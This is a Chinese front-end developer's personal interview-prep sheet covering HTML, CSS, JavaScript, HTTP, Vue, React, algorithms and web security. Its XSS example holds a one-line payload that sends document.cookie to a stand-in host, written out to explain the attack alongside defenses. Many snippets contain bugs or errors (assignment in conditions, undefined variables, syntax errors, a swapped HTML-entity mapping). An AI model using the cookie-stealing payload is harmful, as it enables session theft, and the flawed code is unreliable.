写给自己看的面试题整理

待做

框架出处:

套路

  1. 举例
  2. 将不会的变成会的
  3. 侃侃而谈

HTML 押题

  1. 你是如何理解 HTML 语义化的 第一种举例, 段落用 p, 边栏用 aside, 主要内容用 main 标签。

    header、nav 、article 、section 、aside 、footer

    第二种举例,在很早之前,一部分同事在写html时,喜欢用 table 来布局。 table 是用来展示表格的。这其实违反了 HTML 语义化 后来有了专门写 css 的前端,他们会使用 DIV+CSS 布局,主要是用 float 和 绝对定位布局。已经有了 HTML 语义化的意思。 最后,专业化的前端希望使用恰当的标签来展示内容。而不是全用div,会尽量使用 nav, header, aside, h1, ul, p, main 等标签。

    第三种,对面试官说请看[我的博客]//

  2. meta viewport 是做什么用的,怎么写?

    死背: 控制页面在移动端不要缩小显示

     <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    复制代码

    一开始,所有页面都是给手机准备的, 乔布斯推出 iphone 3GS, 页面是不适应手机屏幕的,所以乔布斯的工程师想了一个办法,默认把手机模拟成980px,页面缩小。后来, 智能手机开始普及,这个功能在部分网站b谁需要了,所以我们就用 meta:vp 让手机不要缩小我的网页。

  3. canvas 元素是干什么的?

    MDN 的 canvas 入门手册

    画板项目: 我是一个利用canvas实现的画板

CSS 押题

  1. (必考) 说说盒模型
  • 举例

    context-box: width == 内容区宽度

    border-box: width == 内容区宽度 + padding + border

    ex. jscode

  1. css reset 和 normalize.css 有什么区别
  • 考英语:
    • reset 重置, 之前的样式我不要, a{color: red;}, 抛弃默认样式
    • normalize 让所有浏览器的标签都跟标准规定的默认样式一致,各浏览器上的标签默认样式基本统一。
  1. (必考) 如何居中

  2. 选择器的优先级如何确定?

    • 选择器越具体,优先级越高。 #yyy > .yyy
    • 相同优先级,写在后面的覆盖写在前面的。
    • color: red!important; 优先级最高。 想办法把他们写的差不多长。
  3. BFC 是什么

    • 举例:
      • o:h 清除浮动 但是对于清楚浮动有更好的方法 .clearfix 最好不要用 o:h 来清除浮动
      • o:h 取消父子 margin 合并 ex,jscode 也有别的方式解决,padding-top: .1px
  4. 如何清除浮动

    • o:h (并不是一种特别好的解决方案)
    • .clearfix 写在父元素上
      .clearfix::after {
        content: '';
        display: block;
        clear: both;
      }
      .clearfix {
        zoom: 1; /* IE 兼容 */
      }
    复制代码

JS 押题

  1. JS 有哪些数据类型

    string, number, bool, undefined, null, object, symbol

    object 包含了数组,函数, 正则,日期等对象

    一旦出现(数组、函数、正则、日期、NaN) 直接滚

  2. (必考)Promise 怎么使用

    • then
        $.ajax().then(成功函数, 失败函数)
      复制代码
    • 链式 then
        $.ajax().then(成功函数, 失败函数).then(成功函数2, 失败函数2)
      复制代码
    • 如何自己生成 Promise 对象
       function xxx() {
         return new Promise(function(resolve, reject) {
           setTimeout(() => {
             resolve() 或者 reject()
           }, 3000)
         })
       }
       xxx.then()
      复制代码
  3. (必考) 手写一下 Ajax?

    答对不加分,打错直接滚

      let ajax = function(method, path, headers, data, responseCallback) {
        // frank fang
        let xhr = new XMLHttpRequest()
        xhr.open('POST', '/xxxx')
        xhr.onreadystatechange = function() {
          if(xhr.readyState = 4 && xhr.status === 200) {
            responseCallback()
            // log(xhr.responseText)
          }
        }
        xhr.send()
      }
    复制代码
  4. (必考) 闭包是啥

     function getAdder() {
       let n = 0 
       return function () {
         n += 1
       }
     }
     let adder  = getAdder()
     adder()  // n === 1
     adder()  // n === 2
     console.log(n) // n is not defined
    复制代码

    闭包

  5. 这段代码中的 this 指的是?

    • fn() 里面的 this 就是 window
    • fn() 是 strict mode , this 就是 undefined
    • a.b.c.fn() 里面的 this 就是 a.b.c
    • new Fn() 里面的 this 就是新生成的实例
    • () => {console.log(this)} 箭头函数不改变 this 的指向

    this

  6. (必考) 什么是立即执行函数? 使用立即执行函数的目的是什么

      ;(function() { var neme}()) 
      ;(function() { var neme})() 
      !!!!!!function() { var neme}() 
      ~function() { var neme}() 
    复制代码

    制造出一个函数作用域, 防止全局污染

    ES 6 新语法

    {
      let name
    }
    复制代码
  7. async/awit 语法了解么? 目的是什么?

      function returnPromise() {
        return new Promise(function(resolve, reject) {
          setTimeout(()=>{
            resolve('guakun')
          }, 3000)
        })
      }
      returnPromise().then((result) => {
        result === 'guakun'
      })
    
      let result = await returnPromise()
      result === 'guakun'
    复制代码

    目的是把异步代码写成同步

  8. 如何实现深拷贝

    i. 通过 JSON

      let a = {}
      let b = JSON.parse(JSON.stringify(a))
    复制代码

    缺点: JSON 不支持函数、引用、undefined、RegExp、Date

    ii. 递归拷贝

      function  getType(obj) {
        let toString = Object.prototype.toString
        let map = {
          '[object String]' : 'string',
          '[object Number]' : 'number',
          '[object Boolean]' : 'boolean',
          '[object Undefined]' : 'undefined',
          '[object Null]' : 'null',
          '[object Object]' : 'object',
          '[object Function]' : 'function',
          '[object Array]' : 'array',
          '[object Date]' : 'date',
          '[object RegExp]' : 'regExp',
        }
        if (obj instance Element) {
          return 'element'
        }
        return map[toString.call(obj)]
      }
      function deepClone(obj) {
        let obj2 
        let type = getType(obj)
        if( type === 'array') {
          obj2 = []
          for (let index = 0; index < obj.length;  index++) {
            obj2.push(deepClone(obj[i]))
          }
        } else if (type ==== 'object') {
          obj2 = {}
          for( let key in obj) {
            ohj2[key] = deepClone(obj[key])
          }
        } else {
          return data
        }
        return obj2
      }
    复制代码

    iii. 环

    iv. RegExp、Date、Set、Symbol、WeakMap

  9. 如何实现数组去重

    i. 计数排序的逻辑(局限于正整数)

      let a = [4, 2, 5, 6, 3, 5, 4]
      let hashtab = {}
      for(let index = 0; index < a.length; index++) {
        if(! a[index] in hashTab) {
          hashTab[a[index]] = true
        }
      }
      console.log(Object.keys(hashTab))
      function getInt(arr) {
        let newArr = []
        newArr = arr.map((item) => item-0)
        return newArr
      }
      console.log(getInt(Object.keys(hashTab)))
    复制代码

    ii. Set 去重

      Array.from(new Set(a))
    复制代码

    iii. WeakMap

  10. 如何使用正则实现 string.trim()?

      function trim(string) {
        return string.replace(/^\s+|\s+$/g, '')
      }  
    复制代码

    30分钟入门正则表达式

  11. JS 原型是什么?

    举例

    a. let a = [1, 2, 3]

    b. 只有 1,2,3, length 4个key

    c. 为什么可以 a.push(), push怎么来的

    d. a.proto = Array.prototype

    e. push 就是沿着 a.proto 找到的, 也就是 Array.prototype.push

    f. Array.prototype 还有很多方法, 如 join、pop、slice、splice

    g.Array.prototype 就是 a 的原型 (proto)

    参考

  12. ES6 中的 class 了解么?

    • 把 mdn 的 class 章节看完
    • 掌握一个例子

    ECMAScript 2015 中引入的 JavaScript 类实质上是 JavaScript 现有的基于原型的继承的语法糖。类语法不会为JavaScript引入新的面向对象的继承模型。

    补充一个函数声明提升的链接

  13. JS 如何实现继承

    • 原型链
      function Animal() {
        this.body = 'body'
      }
      Animal.prototype.move = function() {
        console.log('move')
      }
      function Human(name) {
        Animal.apply(this, arguments)
        this.name = name
      }
      // Human.prototype._proto_ = Animal.prototype // 非法
      let f = function() {}
      f.prototype = Animal.prototype
      Human.prototype = new f()
      Human.prototype.useTools = function() {
        console.log('use tools')
      }
      let guakun = new Human('guakun')
    复制代码
    • 使用 extends 关键字
    class Animal{
      constructor(){
        this.body = 'body'
      }
      move() {
        console.log('move')
      }
    }
    class Human extends Animal {
      constructor(name) {
        super()
        this.name = name
      }
      useTools() {
        console.log('use tools')
      }
    }
    let guapi = new Human('guapi')
    复制代码
  14. 所有 == 的问题 反着答(弃疗)

DOM 押题

  1. DOM 事件的模型是什么?

    浏览器可以捕获的事件

    这个例子的结果

    1. 冒泡
    2. 捕获
    3. 如果这个元素是被点击的元素,那么捕获不一定在冒泡之前,顺序是由监听顺序决定的
  2. 移动端的触摸事件了解么?

    i. touchstart touchmove touchend touchcancle

    ii. 模拟 swipe 事件:记录两次 touchmove 的位置差,如果后一次在前一次的右边,说明右滑了。(忽然想到轮播 css js)

  3. 事件委托是什么?有什么好处?

    i. 假设父元素有 4 个儿子, 我不监听这四个儿子, 而是监听父元素,看触发事件的是哪个儿子, 这就是事件委托。

    ii. 可以监听尚未出生的儿子(动态生成的元素) 省监听器

      function listen(elemnet, eventType, selector, fn) {
        element.addEventListener(eventType, e => {
          if(e.target.matches(selector)) {
            fn.call(el, e, el)
          }
        })
      } // 应付面试的版本
    复制代码
    // 完美事件委托 来自造轮子
    function  listen(element, eventType, selector, fn) {
      elemnet.addEventListener(eventType, e => {
        let el = e.target
        while(!el.matches(selector)) {
          if(element === el) {
            el = null
            break
          }
          el = el.parentNode
        }
        el && fn.call(el, e, el)
      })
    }
    listen(ul, 'click', li, () => {})
    ul > li*5 > span
    复制代码

HTTP 押题

  1. HTTP 状态码知道哪些?

    去看 mdn http

  2. 301 和 302 的区别是什么

    i. 301永久重定向,浏览器会记住

    ii.302 临时重定向

  3. HTTP 缓存怎么做

    1. Catche-Control: max-age=300
    2. cdn.com/1.js?v=1 避开缓存
  4. Cache-Control 和 Etag 的区别是什么

    自己查一下

  5. Cookie 是什么? Session是什么?

    • Cookie

      1. HTTP 响应通过设置 Set-Cookie 设置 Cookie
      2. 浏览器访问指定域名必须带上 Cookie 作为 Request Header
      3. Cookie 一般用来记录用户信息
    • Session

      1. Session 是服务端的内存(数据)
      2. Session 一般通过在 Cookie 里记录 SessionID 实现
      3. SeesionID 一般是随机数
  6. LocalStorage 和 Cookie 的区别是什么?

    1. Cookie 会随请求被发送到服务器上,LocalStrorage不会
    2. Cookie 大小一般在 4kb 以下, localstorage 一般 5mb 左右
  7. (必考) GET 和 POST 的区别是什么?

    1. 参数。 GET 的参数放在 url 的查询参数里,POST 的参数(数据) 放在请求消息体里。
    2. 安全(都不安全)。 GET 没有 POST 安全
    3. GET的参数(url 查询参数)有长度限制,一般是 1024 个字符。 POST 的参数(数据) 没有长度限制(也有 4~10mb 限制)
    4. 包。 GET请求只需要发一个包,POST请求需要发两个以上包(因为POST有消息体)(其实,GET也可以用消息体)
    5. GET用来读数据, POST用来写数据,POST不幂等(幂等的意思是不管发多少次请求, 结果都一样。)
  8. (必考) 怎么跨域? JSONP是什么? CORS是什么? postMessage是什么?

    1. JSONP
    2. CORS
    3. postMessage 看下 MDN

Vue 押题

  1. (必考) Vue有哪些生命周期钩子函数?

    文档

  2. (必考)Vue 如何实现组件通信?

    1. 父子通信(使用 Props 传递数据、使用 v-on 绑定自定义事件)
    2. 爷孙通信(通过两对父子通信,爷爷之间父子通信,爸儿之间父子通信)
    3. 兄弟通信 (new Vue() 作为 eventBus)
  3. Vuex 的作用是什么?

  4. VueRouter 路由是什么?

    • 看文档 博客
  5. Vue 的双向数据绑定是如何实现的?有什么缺点?

  6. Computed 计算属性的用法? 跟 Methods 的区别。

    大佬说

React 押题

  1. React 生命周期

    1. 实例化

      1. getDefaultProps
      2. getInitialState
      3. componentWillMount
      4. render
      5. componentDidMount
    2. 存在期

      1. componentWillRecieveProps
      2. shouldComponentUpdate
      3. componentWillUpdate
      4. componentDidUpdate
    3. 销毁期

      1. componentWillUnmount
  2. React Render 做了什么

    JSX 语法糖

    React render

  3. 调用 setState 之后发生了什么?

算法押题

  1. 排序(背诵冒泡排序、选择排序、计数排序、快速排序、插入排序、归并排序)

    • js Array.prototype.sort 方法了解一下?
      const swap(arr, a, b) {
        // a, b 是下标
        let t = arr[a] 
        arr[a] = arr[b]
        arr[b] = t
      }
    复制代码
      const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0]
      window.Array.prototype.sort.call(arr, function(a, b) {
        return a - b
      })
      arr
    复制代码
    • 冒泡
      const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0]
      const bubleSort = function(arr) {
        for(let j = arr.length; j > 1; j--) {
          for(let i = 0; i < arr.length - 1; i++) {
            if (arr[i] > arr[i+1]) {
              let t = arr[i]
              arr[i] = arr[i+1]
              arr[i+1] = t
            }
          }
        }
        return arr
      }
      const x = bubleSort(arr)
      x
    复制代码
    • 选择
      const arr = [8, 100, 50, 22, 15, 6, 1, 1000, 999, 0]
      const selectSort = function() {
        let index
        for(let i = 0; i < arr.length; i++) {
          index = i
          for(let j = i + 1; j < arr.length; j++) {
            if(arr[index] > arr[j]) {
              index = j
            }
          }
          if(index !== i) {
            let t = arr[i]
            arr[i] = arr[index]
            arr[index] = t
          }
        }
        return arr
      }
      const x = selectSort(arr)
      x
    复制代码
    • 计数
      // 有一定的局限 只能用于整数
      const counterSort = function() {
        
      }
    复制代码
    • 快速

        const arr = [6, 1, 2, 7, 9, 3, 4, 5, 10, 8]
        const quickSort(arr) {
          if(arr.length <= 1) {
            return arr
          }
          let midPos = Math.floor(arr.length / 2)
          // 调用了 js 原生 api 懒得写了 大体就是用 二分的思想吧--。
        }
      复制代码
    • 插入

      // 从后往前比较 知道碰到比当前项还要小的前一项时 将这一项插入到前一项的后面
    复制代码
    • 归并
  2. 二分查找法

  3. 翻转二叉树

第三个二叉树暂时先放弃了....

安全押题

  1. 什么是 XSS(跨站脚本攻击(Cross Site Scripting)) 攻击? 如何预防?

    大佬说

    • 举例
     div.innerHTML = useComment
     // 某用户提交了恶意评论
     userComment = <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
     // 恶意代码就被执行了, 这就是 XSS
    复制代码
    • 预防

      1. 不要使用 innerHTML, 改成 innnerText, script 就会被当成文本,不执行

      2. 如果你一定要使用 innerHTML, 字符过滤

        • 把 < 替换成 &lt;
        • 把 > 替换成 &gt;
        • 把 & 替换成 &amp;
        • 把 " 替换成 &#39;
        • 把 ' 替换成 &quot;

      替换上面5个字符即可,更多 html实体

      1. 使用 CSP Content Security Policy
  2. 什么是 CSRF(Cross-site request forgery 跨站请求伪造) 攻击? 如何预防?

    大佬说

    • 过程

      1. 用户在 qq.com 登录
      2. 用户切换到 hacker.com(恶意网站)
      3. hacker.com 发送一个 qq.com/add_friend 请求, 让当前用户添加 hacker 为好友
      4. 用户在不知不觉中添加了 hacker 为好友
      5. 用户没有想发这个请求,但是 hacker 伪造用户发请求的假象。
    • 避免

      1. 检查 referer, qq.com 可以拒绝来自 hacker.com 的请求
      2. csrf_tocken 解决

Webpack 题

  1. 转译出来的文件过大怎么办?

    • 使用 code split
    • 写法 import('xxx').then(xxx => {console.log(xxx)})
    • xxx 模块就是按需加载的
  2. 转译速度慢怎么办?

    • 不会呀.... 想死
    • 换台电脑吧...
  3. 写过 webpack loader 么?

    勉强算写过

发散题

  1. 从输入 URL 到页面展现中间发生了什么?

    1. DNS 查询DNS缓存
    2. 简历 TCP 连接(三次握手) (连接复用...)
    3. 发送 HTTP 请求 (请求的四部分????)
    4. 后台处理请求
      1. 监听80端口
      2. 路由
      3. 渲染 HTML 模板
      4. 生成响应
    5. 发送HTTP 响应
    6. 关闭 TCP 连接(四次挥手)
    7. 解析HTML
    8. 下载 css(缓存...
    9. 解析 css
    10. 下载 JS (缓存
    11. 解析 JS
    12. 下载图片
    13. 解析图片
    14. 渲染 DOM 树
    15. 渲染样式树
    16. 执行js

    前端向总结

  2. 你一年工作经验是否足以胜任工作

    1. 开始问 直接凉
    2. 中间 最后问.. 他想压价
    3. 我... 给他看之前的项目?
  3. 你遇到过最难的问题是什么?

    一波三折(讲故事模板

    1. 最开始 websocket 服务器的搭建,遇到一部分数据处理的问题
    2. 去网上搜索解决方案..
    3. 发现数据依然不符合预期
    4. 网上的代码不能很好的满足需求
    5. emms... 面向stackoverflow编程吧...
  4. 你的期望薪资是多少?

    +2000(压价用)

  5. 实在不会

    1. 承认
    2. 询问详细细节: 你问的是不是 xxx 方面的解决方案
    3. 寻找相近话题

代码题

  1. map + parseInt

     // 给出 [1, 2, 3].map(parseInt) 的输出结果
      parseInt(1,0, array) // 1
      parseInt(2,1, array) // NaN
      parseInt(3,2, array) // NaN
    复制代码
  2. a.x = a = {}

      var a = {n:1};
      var b = a;
      a.x = a = {n:2};
    复制代码

  3. (a == 1 && a == 2 && a == 3) 可能为 true

    能(弃疗)

    • 原理
    a = {
      value: 0,
      toString(){
        a.value += 1
        return a.value 
      }
    }
    复制代码

京东笔试题:

  1. 手写 Ajax 工具类,例如 request(url, option)

      const request = function(url, option) {
        let xhr = new XMLHttpRequest()
        xhr.open(option, url)
        xhr.onreadystatechange = function() {
          if(xhr.readyState === 4 && xhr.status === 200) {
            // responseCallback()
            console.log(xhr.responseText)
          }
        }
      }
    复制代码
  2. 跨域有哪些解决方案。 说说JSONP的实现。

    1. JSONP
      function jsonp(setting) {
        settings.data = settings.data || {}
        settings.key = settings.key || 'callback'
        settings.callback = settings.callback || function() {}
        settings.data[settings.key] = '__onGetData__'
        window.__onGetData__ = function(data) {
          settings.callback(data)
        }
        let script = document.createElement('script')
        let query = []
        for(let key in settings.data) {
          query.push(key + '=' + encodeURIComponent(settings.data[key]))
        }
        script.src = settings.url + '?' + query.join('&')
        document.head.appendChild(script)   
        document.head.removeChild(script)
      }
      jsonp({
        url: 'http://photo.sina.cn/aj/index',
        key: 'jsoncallback',
        data: {
          page: 1,
          cate: 'recommend',
        },
        callback: function(ret) {
          console.log(ret)
        }
      })
    复制代码

    Example

    1. CORS-跨域资源访问

      阮一峰

  3. js有哪些实现继承的方式。 闭包是什么?

    1. class extends
    2. 闭包
      1. 第一种说法 闭包可以用来间接访问一个变量,闭包可以用来隐藏一个变量
      2. 第二种说法: 闭包返回一个函数,这个函数可以操作其他函数内部的变量
        function getAdder() {
          let n = 0
          return function() {
            n++
            console.log('n: ', n)
          }
        }
        let adder = getAdder()
        adder()
        adder()
      复制代码
  4. 写一个函数把手机号格式化: 13499991212 => 134 9999 1212

  5. 写出一下代码的输出结果

      let leng = 1
      function fn() {
        console.log(this.leng)
      }
      let obj = {
        leng: 2,
        method1: function(fn) {
          fn() // undefined
          fn.call(this) // 2
          arguments[0]() // undefined
        },
        method2: function() {
          document.addEventListener('click', evt => this.method3(evt.type), false)
        },
        method3: function(type) {
          console.log(type + ' : ' + this.leng ) // 'click: 2'
        },
      }
      obj.method1(fn)
      obj.method2(fn)
      // 点击页面之后打印什么?
    复制代码
  6. 写出下面代码的输出结果

      let reg = /abc/g
      let str = 'abcd'
      reg.test(str) // true
      reg.test(str) // false
    复制代码
  7. 写出一个复制对象的方法 包括浅复制 和 深复制

      // 浅
      let person = {
        age: 18,
        name: 'guakun',
        hobby: {
          first: 'code',
          second: 'code',
        }
      }
      let person2 = {}
      for(key in person) {
        person2[key] = person[key]
      }
    复制代码
  8. 写出下面代码的输出结果

    console.log(1)
    setTimeout(function() {
      console.log(2)
    }, 0)
    console.log(3)
    复制代码
  9. 写出下面代码的输出结果

      let p1 = {name: 'john', age: 30}
      let p2 = {name: 'lucy', age: 20}
    
      function modify1(obj) {
        p1 = {name: 'backus'}
      }
      function modify2(obj) {
        obj.name = 'guakun'
      }
    
      modify1(p1)
      modify2(p2)
    
      console.log(p1) // {name: 'backus'}
      console.log(p2) // {name: 'guakun', age: 20}
    复制代码
  10. 如何实现以下效果

    function add(num1) {
      return function(num2) {
        console.log(num1+num2)
      }
    }
    add(2)(5)
    复制代码
  11. 解释一下变量提升(hoisting)

  12. 事件对象的 target 和 currentTarget 属性有什么区别

    1. event.target 返回的是触发事件的元素
    2. event.currentTarget 返回的是绑定事件的元素
  13. DOM 事件流是什么,各浏览器的兼容性

    捕获和冒泡 兼容性的问题我不会

  14. load 和 DOM ready 有什么区别?

    看这

  15. 写一个找出数组中重复元素的函数, 例如[0, 1, 2, 3, 4, 1, 4] 返回[1, 4]

      //计数排序
      let a = [0, 1, 2, 3, 4, 1, 4]
      let hashTab = {}
      let repeateHashTab = {}
      for(let index = 0; index < a.length; index++) {
        if(!(a[index] in hashTab)){
          hashTab[a[index]] = true
        } else {
          repeateHashTab[a[index]] = true
        }
      }
      console.log(Object.keys(repeateHashTab))
      function getInt(arr) {
        let newArr = []
        newArr = arr.map((item) => item-0)
        return newArr
      }
      console.log(getInt(Object.keys(hashTab)))
    复制代码
  16. 如何提高滚动事件的性能

    1. 防抖

      防抖技术即是可以把多个顺序地调用合并成一次,也就是在一定时间内,规定事件被触发的次数。

      // 防抖动函数  
      function debounce(func, wait, immediate) {  
          var timeout;  
          return function() {  
              var context = this, args = arguments;  
              var later = function() {  
                  timeout = null;  
                  if (!immediate) func.apply(context, args);  
              };  
              var callNow = immediate & !timeout;  
              clearTimeout(timeout);  
              timeout = setTimeout(later, wait);  
              if (callNow) func.apply(context, args);  
          };  
      };  
        
      var myEfficientFn = debounce(function() {  
          // 滚动中的真正的操作  
      }, 250);  
        
      // 绑定监听  
      window.addEventListener('resize', myEfficientFn);  
      复制代码
    2. 节流

      防抖函数确实不错,但是也存在问题,譬如图片的懒加载,我们希望在下滑过程中图片不断的被加载出来,而不是只有当停止下滑时候,图片才被加载出来。 这个时候,我们希望即使页面在不断被滚动,但是滚动 handler 也可以以一定的频率被触发(譬如 250ms 触发一次),这类场景,就要用到另一种技巧,称为节流函数(throttling)。 节流函数:只允许一个函数在 X 毫秒内执行一次。 与防抖相比,节流函数最主要的不同在于它保证在 X 毫秒内至少执行一次我们希望触发的事件 handler。 同样是利用定时器,看看简单的示例

        // 简单的节流函数  
        function throttle(func, wait, mustRun) {  
            var timeout,  
                startTime = new Date();  
          
            return function() {  
                var context = this,  
                    args = arguments,  
                    curTime = new Date();  
          
                clearTimeout(timeout);  
                // 如果达到了规定的触发时间间隔,触发 handler  
                if(curTime - startTime >= mustRun){  
                    func.apply(context,args);  
                    startTime = curTime;  
                // 没达到触发间隔,重新设定定时器  
                }else{  
                    timeout = setTimeout(func, wait);  
                }  
            };  
        };  
        // 实际想绑定在 scroll 事件上的 handler  
        function realFunc(){  
            console.log("Success");  
        }  
        // 采用了节流函数  
        window.addEventListener('scroll',throttle(realFunc,500,1000));  
      复制代码
  17. 谈下对 Promise 的理解

      一种优雅的异步解决方案
      // q
      function Promise() {
        return 
      }
    
      let promise = new Promise(function(x, y) {
        setTimeout(()=>{
          x(101)
        }, 3000)
      })
      promise.then((z) => {
        console.log(z)
      })
      // a
      function Promise(fn) {
        let status = 'pending'
    
        function successNotify() {
          status = 'resolved'
          toDoThen()
        }
    
        function failNotify() {
          status = 'rejected'
          toDoThen()
        }
    
        function toDoThen() {
          if(status === 'resolved') {
            for(let i=0; i< successArray.length; i++) {
              successArray[i].call()
            }
          } else if(status === 'rejected') {
            for(let i=0; i<failArray.length; i++) {
              failArray[i].call()
            }
          } 
        }
    
        let successArray = []
        let failArray = []
    
        fn.call(undefined, successNotify, failNotify)
    
        return {
          then: function(successFn, failFn) {
            successArray.push(successFn)
            failArray.push(failFn)
            return undefined  // 简化
          }
        }
      }
    
    复制代码
  18. 写出下面代码的输出结果(es6)

    let x = 3
    function fn (y = x) {
      let x = 4
      console.log(y)
    }
    fn()
    // out: 3
    复制代码

转载于:https://juejin.im/post/5c753951f265da2db87bb34d

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值